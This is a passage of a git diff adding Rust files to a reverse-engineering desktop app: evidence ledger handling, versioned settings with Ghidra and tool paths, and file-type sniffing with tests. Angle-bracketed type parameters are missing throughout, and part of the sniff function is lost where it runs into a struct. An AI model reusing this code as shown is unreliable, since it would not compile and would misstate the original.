Result<&OpenTarget, ToolError> { + self.active.as_ref().and_then(|id| self.targets.get(id)).ok_or_else(ToolError::target_required) + } + + pub fn active_mut(&mut self) -> Result<&mut OpenTarget, ToolError> { + match self.active.clone() { + Some(id) => self.targets.get_mut(&id).ok_or_else(ToolError::target_required), + None => Err(ToolError::target_required()), + } + } + + /// Persist the active target's annotations to the project, if one is open. + pub fn save_annotations(&self) -> Result<(), ToolError> { + if let (Some(project), Ok(t)) = (&self.project, self.active()) { + project.save_annotations(&t.target.sha256, &t.annotations)?; + } + Ok(()) + } + + // ---- evidence ---- + + /// Record evidence in the ledger (and the project store, when a project is open). + pub fn record(&mut self, ev: Evidence) -> Result<(), ToolError> { + if let Some(project) = &self.project { + project.store_evidence(&ev)?; + } + if !self.ledger.contains_key(&ev.id) { + self.order.push(ev.id.clone()); + } + self.ledger.insert(ev.id.clone(), ev); + Ok(()) + } + + pub fn evidence(&self, id: &str) -> Option<&Evidence> { + self.ledger.get(id).or(None) + } + + /// Look up evidence in memory, then in the project store. + pub fn resolve_evidence(&self, id: &str) -> Result { + if let Some(e) = self.ledger.get(id) { + return Ok(e.clone()); + } + if let Some(project) = &self.project + && let Ok(e) = project.load_evidence(id) + { + return Ok(e); + } + Err(ToolError::invalid(format!("Unknown evidence id {id}")).with_details(serde_json::json!({"reason": "missing", "evidence_id": id}))) + } + + /// Evidence, newest first. + pub fn ledger(&self) -> impl Iterator { + self.order.iter().rev().filter_map(|id| self.ledger.get(id)) + } + + pub fn ledger_len(&self) -> usize { + self.ledger.len() + } + + /// Project records not loaded into the ledger because the project is larger than the in-memory cap. + pub fn unloaded_evidence(&self) -> usize { + self.unloaded_evidence + } + + pub fn clear_ledger(&mut self) { + self.ledger.clear(); + self.order.clear(); + self.unknowns.clear(); + self.unloaded_evidence = 0; + } + + // ---- unknowns ---- + + pub fn unknowns(&self) -> impl Iterator { + self.unknowns.values() + } + + pub fn unknown(&self, id: &str) -> Option<&Unknown> { + self.unknowns.get(id) + } + + pub fn put_unknown(&mut self, u: Unknown) -> Result<(), ToolError> { + if let Some(project) = &self.project { + project.store_unknown(&u)?; + } + self.unknowns.insert(u.id.clone(), u); + Ok(()) + } + + pub fn unknown_mut(&mut self, id: &str) -> Option<&mut Unknown> { + self.unknowns.get_mut(id) + } + + /// Open a project: its evidence and unknowns become available. + /// + /// The newest stored records (by write time) are loaded into the ledger, up to + /// [`MAX_LOADED_EVIDENCE`] records and a byte budget; the rest stay on disk and resolve by id. + /// Every loaded record passes its integrity check; tampered or unreadable ones are skipped. + pub fn open_project(&mut self, project: Project) -> Result<(), ToolError> { + for u in project.load_unknowns()? { + self.unknowns.insert(u.id.clone(), u); + } + let mut stored = project.evidence_files(); + // Newest first, so the budget keeps the most recent work. + stored.sort_by(|a, b| b.modified.cmp(&a.modified).then_with(|| a.id.cmp(&b.id))); + let mut loaded = Vec::new(); + let mut bytes = 0u64; + for (i, f) in stored.iter().enumerate() { + if loaded.len() >= MAX_LOADED_EVIDENCE || bytes.saturating_add(f.bytes) > MAX_LOADED_EVIDENCE_BYTES { + self.unloaded_evidence = stored.len().saturating_sub(i); + break; + } + match project.load_evidence(&f.id) { + Ok(ev) => { + bytes = bytes.saturating_add(f.bytes); + loaded.push(ev); + } + Err(e) => log::warn!("skipping project evidence {}: {}", f.id, e.message), + } + } + // Oldest first into the ledger so `ledger()` (newest first) matches write order. + for ev in loaded.into_iter().rev() { + if !self.ledger.contains_key(&ev.id) { + self.order.push(ev.id.clone()); + } + self.ledger.insert(ev.id.clone(), ev); + } + self.project = Some(project); + Ok(()) + } +} diff --git a/desktop/crates/engine/src/settings.rs b/desktop/crates/engine/src/settings.rs new file mode 100644 index 0000000..d1359e8 --- /dev/null +++ b/desktop/crates/engine/src/settings.rs @@ -0,0 +1,553 @@ +//! User settings (`config.toml`). No environment variables are required for anything. + +use crate::versioned::{Step, upgrade}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(rename_all = "snake_case")] +pub enum Mode { + #[default] + Beginner, + Experienced, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct GhidraSettings { + /// A Ghidra install to use instead of the managed one. + pub install_dir: Option, + /// A Java runtime to use instead of the managed one. + pub java_home: Option, + /// Seconds to wait for Ghidra to import and analyse a target. + pub startup_timeout_secs: Option, + /// A Ghidra language id to force, e.g. `RISCV:LE:64:RV64GC`, `PowerPC:BE:32:default`, + /// `6502:LE:16:default`, `MIPS:BE:32:default`, `ARM:LE:32:v7`. Lets Deep mode target + /// processors our own engine doesn't cover, with no per-architecture code. Only used in Deep + /// mode with Ghidra installed. + pub language_id: Option, + /// A Ghidra compiler-spec id to pair with `language_id` (e.g. `gcc`, `default`, `windows`). + pub compiler_spec: Option, + /// Memory for Ghidra in GB (4 to 31). More makes its first look at a big program faster. + /// `None`: half this computer's memory. + pub memory_gb: Option, +} + +/// One list for the per-engine path overrides: it declares the `ToolPaths` fields, `override_for`, +/// and the list the Engines settings page shows. The ids and their order are exactly the engines in +/// `craft_anything_engines::ENGINES` that have a path setting (a test checks it). +macro_rules! tool_paths { + ($($id:ident),* $(,)?) => { + /// Paths to external tools when the user prefers their own install over the managed one. + #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] + #[serde(default)] + pub struct ToolPaths { + $(pub $id: Option,)* + } + + impl ToolPaths { + /// Every override as `(engine id, path)`, in settings-page order. + pub fn entries_mut(&mut self) -> Vec<(&'static str, &mut Option)> { + vec![$((stringify!($id), &mut self.$id)),*] + } + } + + impl craft_anything_engines::ToolPathLookup for ToolPaths { + fn override_for(&self, id: &str) -> Option { + match id { + $(stringify!($id) => self.$id.clone(),)* + _ => None, + } + } + } + }; +} + +// Ghidra is not here: its folder is `GhidraSettings::install_dir`. +tool_paths!(adb, jadx, apktool, chromium, frida, gdb, lldb, mitmdump, binwalk, unblob, ilspy, java, tshark, objdump, rizin, rtl433, vineflower); + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct EngineSettings { + pub ghidra: GhidraSettings, + pub tools: ToolPaths, + /// Folder for managed engine installs; defaults to `/engines`. + pub store_dir: Option, + /// URL of a user-run JEB MCP server, e.g. `http://127.0.0.1:8425/mcp` (loopback, plain HTTP only). + pub jeb_url: Option, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct Settings { + /// The config.toml format version ([`SETTINGS_VERSION`]). Missing means 0: written before versions. + pub version: u32, + pub mode: Mode, + /// Deep mode: tools may look inside the original (its code, files and page source), with our + /// own engines and with Ghidra when it's installed. Off is Clean room: nothing inside the + /// original is read, only what can be seen from outside ([`crate::clean_room`]). + pub deep_mode: bool, + /// `studio` (dark) or `studio-light`. + pub theme: String, + /// UI language (BCP 47), empty = system. + pub language: String, + pub first_run_done: bool, + pub engines: EngineSettings, + /// AI backends and roles. Owned and parsed by the `ai` crate; kept opaque here so the engine + /// doesn't depend on it. + pub ai: toml::Table, + /// Ask before running tools that execute code or change devices (always true unless a project allows them). + pub ask_before_running: bool, + /// Auto mode: a build keeps going without stopping to ask the person. The builder's actions are + /// allowed except a few that are never done unasked (deleting outside the project, system + /// changes, publishing), and, unless `questions` says otherwise, its questions get "decide + /// yourself". On by default. + pub auto_mode: bool, + /// What the builder's questions get in projects that don't choose (`Manifest::questions`): + /// none follows Auto mode (decide when it's on, ask when it's off). + pub questions: Option, + /// Study an app or game target by running it once and picturing its window + /// (`native_window_capture` into capture/window.png). Off by default: it runs the person's + /// program. + pub runtime_study: bool, + /// Recently opened projects and targets. + pub recent: Vec, + /// Where new projects are created; `None` = `Documents/REI Reverse Engineer`. + pub projects_dir: Option, + /// More places projects are listed from: folders of projects, or projects started in a folder + /// the person picked (added when they start one there). + pub project_folders: Vec, + /// What the files already in a folder picked for a new project are: `None` asks each time; + /// the person's "don't ask again" answer otherwise. + pub existing_files: Option, + /// Generated game assets: the budget a new project starts with and the picture model. + pub assets: AssetSettings, + /// External MCP servers whose tools are offered as REI Reverse Engineer tools (`[[plugins.mcp]]`). + pub plugins: crate::plugins::PluginSettings, + /// How builds are checked and when refining stops (`[build]`). + pub build: BuildSettings, +} + +/// How builds are checked and when refining stops. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct BuildSettings { + /// Likeness (percent) at which a compared build is good enough and refining stops. + pub good_enough: f64, + /// Refinement rounds after the first build in the app (the CLI's `--rounds` sets its own). + pub max_rounds: u32, + /// Widths (CSS px) a website and its rebuild are compared at. + pub web_widths: Vec, + /// Other pages of a website studied and checked besides the start page. + pub max_pages: usize, + /// When set, an app or game must look at least this alike (percent) to the person's pictures + /// (or the original running) to be good enough; unset, that likeness is only reported. + pub picture_good_enough: Option, + /// Projects that may build at the same time; more wait their turn (at least 1). + pub parallel: usize, +} + +impl Default for BuildSettings { + fn default() -> Self { + BuildSettings { good_enough: 90.0, max_rounds: 6, web_widths: vec![1440, 768, 390], max_pages: 4, picture_good_enough: None, parallel: 2 } + } +} + +impl BuildSettings { + /// The widths to compare at: the configured ones a capture can take (320-3840 px, at most 4), + /// else the defaults (desktop, tablet and phone). + pub fn widths(&self) -> Vec { + let w: Vec = self.web_widths.iter().copied().filter(|w| (320..=3840).contains(w)).take(4).collect(); + if w.is_empty() { BuildSettings::default().web_widths } else { w } + } +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct AssetSettings { + /// What a new project may spend on generated pictures and 3D models before the person is + /// asked (US dollars). Each project keeps its own budget once created. + pub budget_usd: f64, + /// The picture model, by its id in the asset table (`nano-banana-pro`, `flux-dev`…); `None` = the + /// table's default. + pub image_model: Option, +} + +impl Default for AssetSettings { + fn default() -> Self { + AssetSettings { budget_usd: crate::workspace::ASSET_BUDGET_USD, image_model: None } + } +} + +impl AssetSettings { + /// The budget for a new project; a negative or non-number value gives the built-in default. + pub fn budget(&self) -> f64 { + if self.budget_usd.is_finite() && self.budget_usd >= 0.0 { self.budget_usd } else { crate::workspace::ASSET_BUDGET_USD } + } +} + +impl Default for Settings { + fn default() -> Self { + Settings { + version: SETTINGS_VERSION, + mode: Mode::Beginner, + deep_mode: false, + theme: "studio".into(), + language: String::new(), + first_run_done: false, + engines: EngineSettings::default(), + ai: toml::Table::new(), + ask_before_running: true, + auto_mode: true, + questions: None, + runtime_study: false, + recent: Vec::new(), + projects_dir: None, + project_folders: Vec::new(), + existing_files: None, + assets: AssetSettings::default(), + plugins: crate::plugins::PluginSettings::default(), + build: BuildSettings::default(), + } + } +} + +/// The current `config.toml` format version. Bumping it means appending a step to [`SETTINGS_STEPS`]. +pub const SETTINGS_VERSION: u32 = 3; + +/// The steps that bring an older `config.toml` forward; step `i` goes from version `i` to `i + 1`. +const SETTINGS_STEPS: &[Step] = &[settings_v0_to_v1, settings_v1_to_v2, settings_v2_to_v3]; +const _: () = assert!(SETTINGS_STEPS.len() == SETTINGS_VERSION as usize, "one step per config.toml version"); + +/// Version 0 (no `version` key) has the same shape as version 1; only the number is new. +fn settings_v0_to_v1(_: &mut toml::Table) -> Result<(), String> { + Ok(()) +} + +/// Version 2: Deep mode is its own switch. `[engines.ghidra] enabled` (the old switch, which +/// already meant Deep mode with or without Ghidra installed) becomes the top-level `deep_mode`. +fn settings_v1_to_v2(table: &mut toml::Table) -> Result<(), String> { + let old = table + .get_mut("engines") + .and_then(toml::Value::as_table_mut) + .and_then(|e| e.get_mut("ghidra")) + .and_then(toml::Value::as_table_mut) + .and_then(|g| g.remove("enabled")); + if let Some(v) = old { + let on = v.as_bool().ok_or_else(|| format!("engines.ghidra.enabled ({v}) isn't true or false"))?; + table.entry("deep_mode").or_insert(toml::Value::Boolean(on)); + } + Ok(()) +} + +/// Version 3 adds more project folders and the answer about a picked folder's files; both start +/// empty. The number is new so an older build doesn't save over the list (and lose it). +fn settings_v2_to_v3(_: &mut toml::Table) -> Result<(), String> { + Ok(()) +} + +/// Read a `config.toml` of any version: older ones are brought forward step by step; a newer one is +/// read as far as its keys are known and keeps its version, so [`Settings::save_to`] won't write it. +pub fn read_settings(text: &str) -> Result { + let mut table: toml::Table = toml::from_str(text).map_err(|e| e.to_string())?; + let found = match table.get("version") { + None => 0, + Some(v) => v.as_integer().and_then(|n| u32::try_from(n).ok()).ok_or_else(|| format!("its version ({v}) isn't a whole number"))?, + }; + if found <= SETTINGS_VERSION { + let reached = upgrade(&mut table, found, 0, SETTINGS_STEPS)?; + table.insert("version".into(), toml::Value::Integer(reached.into())); + } + table.try_into::().map_err(|e| e.to_string()) +} + +/// Where settings, logs and the engine store live: `REI_CONFIG_DIR`, then a portable +/// `portable.txt` marker next to the executable, then the platform config dir. +pub fn config_dir() -> PathBuf { + if let Some(dir) = std::env::var_os("REI_CONFIG_DIR") { + return PathBuf::from(dir); + } + if let Some(exe_dir) = std::env::current_exe().ok().and_then(|p| p.parent().map(Path::to_path_buf)) + && exe_dir.join("portable.txt").exists() + { + return exe_dir.join("RootcastleREIData"); + } + dirs::config_dir().map(|d| d.join("rootcastle-rei")).unwrap_or_else(|| PathBuf::from(".rootcastle-rei")) +} + +impl Settings { + /// The folder new projects go in. + pub fn projects_dir(&self) -> PathBuf { + self.projects_dir.clone().unwrap_or_else(crate::workspace::default_projects_dir) + } + + /// What the builder's questions get in a project that doesn't choose. + pub fn questions(&self) -> crate::workspace::Questions { + use crate::workspace::Questions; + self.questions.unwrap_or(if self.auto_mode { Questions::Decide } else { Questions::Ask }) + } + + /// What the builder's questions get in `project` (its own choice, else the app's default). + pub fn questions_in(&self, project: Option<&crate::workspace::Manifest>) -> crate::workspace::Questions { + project.and_then(|m| m.questions).unwrap_or_else(|| self.questions()) + } + + /// Everywhere projects are listed from: the folder new projects go in, then the others, each once. + pub fn project_locations(&self) -> Vec { + let mut v = vec![self.projects_dir()]; + for f in &self.project_folders { + if !v.contains(f) { + v.push(f.clone()); + } + } + v + } + + /// Keep a project started in a picked folder in the list. Returns whether the list changed: + /// false when one of the locations already shows it (it is one, or sits directly in one). + pub fn remember_project(&mut self, root: &Path) -> bool { + let shown = self.project_locations().iter().any(|l| l == root || root.parent() == Some(l.as_path())); + if !shown { + self.project_folders.push(root.to_path_buf()); + } + !shown + } + + pub fn path() -> PathBuf { + config_dir().join("config.toml") + } + + /// Load settings; a missing file gives defaults, an older one is brought up to date, a corrupt + /// one is set aside and replaced with defaults (never a crash). + pub fn load_from(path: &Path) -> Settings { + match std::fs::read_to_string(path) { + Ok(text) => match read_settings(&text) { + Ok(s) => { + if s.version > SETTINGS_VERSION { + log::warn!("{} is from a newer REI Reverse Engineer (version {}); changes won't be saved over it", path.display(), s.version); + } + s + } + Err(e) => { + // A newer file this build can't read is left in place, and never saved over. + let newer = toml::from_str::(&text) + .ok() + .and_then(|t| t.get("version").and_then(toml::Value::as_integer)) + .and_then(|n| u32::try_from(n).ok()); + if let Some(version) = newer.filter(|v| *v > SETTINGS_VERSION) { + log::warn!( + "{} is from a newer REI Reverse Engineer (version {version}) and unreadable here ({e}); using defaults without saving", + path.display() + ); + return Settings { version, ..Settings::default() }; + } + log::warn!("{} is unreadable ({e}); using defaults and keeping a copy", path.display()); + let _ = std::fs::rename(path, path.with_extension("toml.broken")); + Settings::default() + } + }, + Err(_) => Settings::default(), + } + } + + pub fn load() -> Settings { + Settings::load_from(&Settings::path()) + } + + pub fn save_to(&self, path: &Path) -> Result<(), ToolError> { + if self.version > SETTINGS_VERSION { + return Err(ToolError::new( + ErrorCode::BadSettings, + format!("{} was written by a newer REI Reverse Engineer (version {}), so this one doesn't change it.", path.display(), self.version), + ) + .with_remediation("Update REI Reverse Engineer to change settings, or move config.toml aside to start fresh. Nothing was written.")); + } + let text = toml::to_string_pretty(self).map_err(|e| ToolError::new(ErrorCode::BadSettings, e.to_string()))?; + crate::project::write_atomic(path, text.as_bytes()) + } + + pub fn save(&self) -> Result<(), ToolError> { + self.save_to(&Settings::path()) + } + + pub fn engine_store_dir(&self) -> PathBuf { + self.engines.store_dir.clone().unwrap_or_else(|| config_dir().join("engines")) + } + + /// Ghidra's headless launcher, when Deep mode can really use Ghidra (`None`: not installed). + pub fn ghidra_launcher(&self) -> Option { + craft_anything_engines::ghidra::get::headless(self.engines.ghidra.install_dir.as_deref(), &self.engine_store_dir()) + } + + /// The Java runtime Ghidra runs on (`None`: let Ghidra find its own). + pub fn ghidra_java(&self) -> Option { + craft_anything_engines::ghidra::get::java_home(self.engines.ghidra.java_home.as_deref(), &self.engine_store_dir()) + } + + /// Where an external engine is on this computer, honouring every setting that can name one: + /// the path overrides (`engines.tools`) and, for Ghidra, its own folder setting + /// (`engines.ghidra.install_dir`). The one lookup behind every listing (`engines_list`, + /// `doctor`, `capabilities`) and behind `Requires::Engine`, so they all agree with what Deep + /// mode actually runs. + pub fn engine_path(&self, id: &str) -> Option { + if id == craft_anything_engines::ghidra::get::ID { + return self.ghidra_launcher(); + } + craft_anything_engines::locate(id, &self.engines.tools, &self.engine_store_dir()) + } +} + +#[cfg(test)] +mod tests { + #[test] + fn build_settings_have_safe_widths_and_old_configs_get_defaults() { + let b = BuildSettings { web_widths: vec![10, 1280, 99_999, 375, 200], ..BuildSettings::default() }; + assert_eq!(b.widths(), [1280, 375], "widths a capture can't take are dropped"); + assert_eq!(BuildSettings { web_widths: vec![], ..BuildSettings::default() }.widths(), [1440, 768, 390]); + let old: Settings = toml::from_str( + "version = 1 +auto_mode = true +", + ) + .unwrap(); + assert_eq!(old.build, BuildSettings::default()); + assert_eq!(old.build.picture_good_enough, None, "picture likeness is only reported unless set"); + } + + use super::*; + + #[test] + fn path_overrides_match_the_engine_table_exactly() { + use craft_anything_engines::ToolPathLookup; + let mut paths = ToolPaths::default(); + let ids: Vec<&str> = paths.entries_mut().into_iter().map(|(id, _)| id).collect(); + let table: Vec<&str> = craft_anything_engines::path_setting_ids().collect(); + assert_eq!(ids, table, "tool_paths! must list the engine table's path-setting ids, in table order"); + for (id, v) in paths.entries_mut() { + *v = Some(PathBuf::from(format!("/opt/{id}"))); + } + for id in table { + assert_eq!(paths.override_for(id), Some(PathBuf::from(format!("/opt/{id}"))), "no override for {id}"); + } + // An older config.toml without the newer fields still loads. + let old: ToolPaths = toml::from_str("adb = \"/x/adb\"\n").unwrap(); + assert_eq!(old.adb, Some(PathBuf::from("/x/adb"))); + assert_eq!(old.tshark, None); + } + + /// A config.toml as written before versions existed. + const CONFIG_V0: &str = r#"mode = "experienced" +theme = "studio-light" +language = "" +first_run_done = true +ask_before_running = true +auto_mode = false +recent = ["/home/me/app.exe"] + +[engines] +store_dir = "/data/engines" + +[engines.ghidra] +enabled = true + +[engines.tools] +adb = "/x/adb" + +[ai] +default = "Claude Code" +"#; + + #[test] + fn configs_from_before_versions_load_unchanged() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + std::fs::write(&path, CONFIG_V0).unwrap(); + let s = Settings::load_from(&path); + assert_eq!(s.version, SETTINGS_VERSION); + assert_eq!((s.mode, s.theme.as_str(), s.first_run_done, s.auto_mode), (Mode::Experienced, "studio-light", true, false)); + assert!(s.deep_mode, "the old Ghidra switch becomes Deep mode"); + assert_eq!(s.engines.tools.adb, Some(PathBuf::from("/x/adb"))); + assert_eq!(s.ai.get("default").and_then(|v| v.as_str()), Some("Claude Code")); + assert!(!path.with_extension("toml.broken").exists()); + s.save_to(&path).unwrap(); + let saved = std::fs::read_to_string(&path).unwrap(); + assert!(saved.starts_with(&format!("version = {SETTINGS_VERSION}\n")) && saved.contains("deep_mode = true") && !saved.contains("enabled"), "{saved}"); + assert_eq!(Settings::load_from(&path), s); + } + + #[test] + fn newer_configs_load_but_are_never_overwritten() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + let newer = format!("version = 9\nsomething_new = 3\n{CONFIG_V0}"); + std::fs::write(&path, &newer).unwrap(); + let s = Settings::load_from(&path); + assert_eq!((s.version, s.mode), (9, Mode::Experienced)); + let err = s.save_to(&path).unwrap_err(); + assert!(err.message.contains("newer") && err.remediation.is_some()); + assert_eq!(std::fs::read_to_string(&path).unwrap(), newer); + // Newer and unreadable here: defaults, but the file stays where it is and isn't saved over. + let unreadable = "version = 9\nmode = { kind = \"pro\" }\n"; + std::fs::write(&path, unreadable).unwrap(); + let s = Settings::load_from(&path); + assert_eq!(s, Settings { version: 9, ..Settings::default() }); + assert!(s.save_to(&path).is_err()); + assert_eq!(std::fs::read_to_string(&path).unwrap(), unreadable); + assert!(!path.with_extension("toml.broken").exists()); + // A version that isn't a number is a broken file: set aside, defaults used. + std::fs::write(&path, "version = \"two\"\n").unwrap(); + assert_eq!(Settings::load_from(&path), Settings::default()); + assert!(path.with_extension("toml.broken").exists()); + assert!(read_settings("version = -1").is_err()); + } + + #[test] + fn round_trip_and_corrupt_file_recovery() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + let mut s = Settings { mode: Mode::Experienced, ..Default::default() }; + s.deep_mode = true; + s.save_to(&path).unwrap(); + assert_eq!(Settings::load_from(&path), s); + std::fs::write(&path, "mode = [[[").unwrap(); + assert_eq!(Settings::load_from(&path), Settings::default()); + assert!(path.with_extension("toml.broken").exists()); + } + + #[test] + fn the_asset_budget_is_a_setting_and_old_configs_load() { + let old: Settings = toml::from_str("mode = \"experienced\"\nauto_mode = false\n").unwrap(); + assert_eq!(old.assets.budget(), 5.0, "a config without [assets] gets the built-in budget"); + assert_eq!(old.assets.image_model, None); + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + let mut s = Settings::default(); + s.assets.budget_usd = 12.5; + s.assets.image_model = Some("flux-schnell".into()); + s.save_to(&path).unwrap(); + assert_eq!(Settings::load_from(&path), s); + let odd: Settings = toml::from_str("[assets]\nbudget_usd = -3.0\n").unwrap(); + assert_eq!(odd.assets.budget(), 5.0, "a negative budget isn't used"); + } + + #[test] + fn projects_are_listed_from_more_folders_and_a_picked_one_is_remembered() { + let mut s = Settings { projects_dir: Some(PathBuf::from("/p")), ..Settings::default() }; + assert_eq!(s.project_locations(), [PathBuf::from("/p")]); + assert!(!s.remember_project(Path::new("/p/notes")), "already listed: it's in the projects folder"); + assert!(s.remember_project(Path::new("/work/mine"))); + assert!(!s.remember_project(Path::new("/work/mine")), "once"); + s.project_folders.push(PathBuf::from("/p")); + assert_eq!(s.project_locations(), [PathBuf::from("/p"), PathBuf::from("/work/mine")], "each place once"); + // Saved and read back, with the answer about a picked folder's files. + s.existing_files = Some(crate::workspace::ExistingFiles::StartFrom); + let back = read_settings(&toml::to_string(&s).unwrap()).unwrap(); + assert_eq!(back.project_folders, s.project_folders); + assert_eq!(back.existing_files, s.existing_files); + // A version 2 config has neither, and asks. + let v2 = read_settings("version = 2\ndeep_mode = true\n").unwrap(); + assert_eq!(v2.version, SETTINGS_VERSION); + assert!(v2.project_folders.is_empty() && v2.existing_files.is_none() && v2.deep_mode); + } +} diff --git a/desktop/crates/engine/src/target.rs b/desktop/crates/engine/src/target.rs new file mode 100644 index 0000000..40c0ba1 --- /dev/null +++ b/desktop/crates/engine/src/target.rs @@ -0,0 +1,214 @@ +//! Targets: what we're looking at, loaded once, identified by content hash. + +use craft_anything_evidence::{ErrorCode, Subject, ToolError, sha256_hex}; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +/// Biggest file we load into memory. Bigger inputs get a clear error rather than an OOM. +pub const MAX_TARGET_BYTES: u64 = 2 * 1024 * 1024 * 1024; + +pub type TargetId = String; + +/// What kind of thing a target is. Detected from content, never from the extension alone. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize, schemars::JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum TargetKind { + Elf, + Pe, + MachO, + /// A fat/universal Mach-O. + MachOFat, + /// A .NET assembly (PE with a CLI header). + Managed, + Wasm, + Apk, + Dex, + Jar, + /// A single Java `.class` file. + JavaClass, + Zip, + Asar, + /// A folder: an app bundle, an unpacked Electron app, a project. + Directory, + /// A JavaScript or HTML file. + Script, + /// A HAR or other network capture. + NetworkCapture, + Plist, + /// EVM bytecode. + Evm, + /// A SQLite 3 database file. + Sqlite, + /// A DOS .COM program. + DosCom, + /// Raw bytes with a user-declared architecture (firmware, shellcode). + RawBinary, + Unknown, +} + +impl TargetKind { + /// Plain-English description for Beginner mode. + pub fn plain(self) -> &'static str { + match self { + TargetKind::Elf => "A Linux (or Unix) program", + TargetKind::Pe => "A Windows program", + TargetKind::MachO | TargetKind::MachOFat => "A Mac or iPhone program", + TargetKind::Managed => "A .NET program (C#, F# or VB)", + TargetKind::Wasm => "A WebAssembly module (code that runs in a browser)", + TargetKind::Apk => "An Android app", + TargetKind::Dex => "Android app code (DEX)", + TargetKind::Jar => "A Java program", + TargetKind::JavaClass => "Java program code (one class)", + TargetKind::Zip => "A ZIP archive", + TargetKind::Asar => "The packed contents of an Electron app (a website inside a desktop app)", + TargetKind::Directory => "A folder", + TargetKind::Script => "A script or web page", + TargetKind::NetworkCapture => "A recording of network traffic", + TargetKind::Plist => "An Apple settings file (plist)", + TargetKind::Evm => "A smart contract (EVM bytecode)", + TargetKind::Sqlite => "A SQLite database (how an app stores its data)", + TargetKind::DosCom => "A DOS program", + TargetKind::RawBinary => "Raw machine code", + TargetKind::Unknown => "A file we don't recognise yet", + } + } + + pub fn id(self) -> String { + serde_json::to_value(self).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_else(|| "unknown".into()) + } +} + +/// Sniff the kind from the first bytes (and the name, only to break ties). +pub fn sniff(bytes: &[u8], name: &str) -> TargetKind { + let lower = name.to_ascii_lowercase(); + let starts = |m: &[u8]| bytes.starts_with(m); + if starts(b"SQLite format 3\0") { + TargetKind::Sqlite + } else if starts(b"\x7fELF") { + TargetKind::Elf + } else if starts(b"MZ") { + if craft_anything_formats::pe_is_managed(bytes) { TargetKind::Managed } else { TargetKind::Pe } + } else if starts(&[0xfe, 0xed, 0xfa, 0xce]) || starts(&[0xfe, 0xed, 0xfa, 0xcf]) || starts(&[0xce, 0xfa, 0xed, 0xfe]) || starts(&[0xcf, 0xfa, 0xed, 0xfe]) { + TargetKind::MachO + } else if starts(&[0xca, 0xfe, 0xba, 0xbe]) { + // Both a Java class and a big-endian fat Mach-O start 0xCAFEBABE. A class has a plausible + // major version where a fat binary has a small big-endian architecture count, so prefer + // the .class extension, then the version check. + if lower.ends_with(".class") || craft_anything_formats::java_class::is_class(bytes) { TargetKind::JavaClass } else { TargetKind::MachOFat } + } else if starts(b"\0asm") { + TargetKind::Wasm + } else if starts(b"dex\n") { + TargetKind::Dex + } else if starts(b"PK\x03\x04") || starts(b"PK\x05\x06") { + if lower.ends_with(".apk") || lower.ends_with(".aab") || lower.ends_with(".xapk") { + TargetKind::Apk + } else if lower.ends_with(".jar") || lower.ends_with(".war") { + TargetKind::Jar + } else if craft_anything_formats::zip_has_entry(bytes, "AndroidManifest.xml") { + TargetKind::Apk + } else { + TargetKind::Zip + } + } else if lower.ends_with(".asar") || craft_anything_formats::looks_like_asar(bytes) { + TargetKind::Asar + } else if starts(b"bplist00") || (lower.ends_with(".plist") && bytes.windows(6).take(512).any(|w| w == b", + /// For raw binaries: declared architecture and entry point. + pub raw: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, schemars::JsonSchema)] +pub struct RawSpec { + /// `x86`, `x86_64`, `arm`, `arm64`. + pub architecture: String, + /// Load and entry address. + pub entry_point: u64, +} + +impl Target { + /// Load a file or directory. + pub fn load(path: &Path) -> Result { + let meta = std::fs::metadata(path).map_err(|e| ToolError::io(path.display(), e))?; + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| path.display().to_string()); + if meta.is_dir() { + let digest = sha256_hex(path.to_string_lossy().as_bytes()); + return Ok(Target { + id: format!("t_{}", digest.get(..12).unwrap_or(&digest)), + path: path.to_path_buf(), + name, + sha256: digest, + kind: TargetKind::Directory, + bytes: Arc::from(Vec::new()), + raw: None, + }); + } + if meta.len() > MAX_TARGET_BYTES { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{} is {} bytes; the limit is {MAX_TARGET_BYTES}", path.display(), meta.len()))); + } + let bytes = std::fs::read(path).map_err(|e| ToolError::io(path.display(), e))?; + Ok(Target::from_bytes(path.to_path_buf(), name, bytes)) + } + + pub fn from_bytes(path: PathBuf, name: String, bytes: Vec) -> Target { + let sha256 = sha256_hex(&bytes); + let kind = sniff(&bytes, &name); + Target { id: format!("t_{}", sha256.get(..12).unwrap_or(&sha256)), path, name, sha256, kind, bytes: Arc::from(bytes), raw: None } + } + + pub fn subject(&self) -> Subject { + Subject { kind: self.kind.id(), sha256: Some(self.sha256.clone()), name: Some(self.name.clone()) } + } + + /// Fail if the file on disk no longer matches what we loaded. + pub fn check_unchanged(&self) -> Result<(), ToolError> { + if self.kind == TargetKind::Directory { + return Ok(()); + } + match std::fs::read(&self.path) { + Ok(b) if sha256_hex(&b) == self.sha256 => Ok(()), + Ok(_) => Err(ToolError::new(ErrorCode::FileChanged, format!("{} changed on disk since it was opened", self.path.display())) + .with_remediation("Open it again to analyse the new version.")), + Err(e) => Err(ToolError::io(self.path.display(), e)), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn sniffs_common_magics() { + assert_eq!(sniff(b"\x7fELF\x02\x01", "a"), TargetKind::Elf); + assert_eq!(sniff(b"\0asm\x01\0\0\0", "m"), 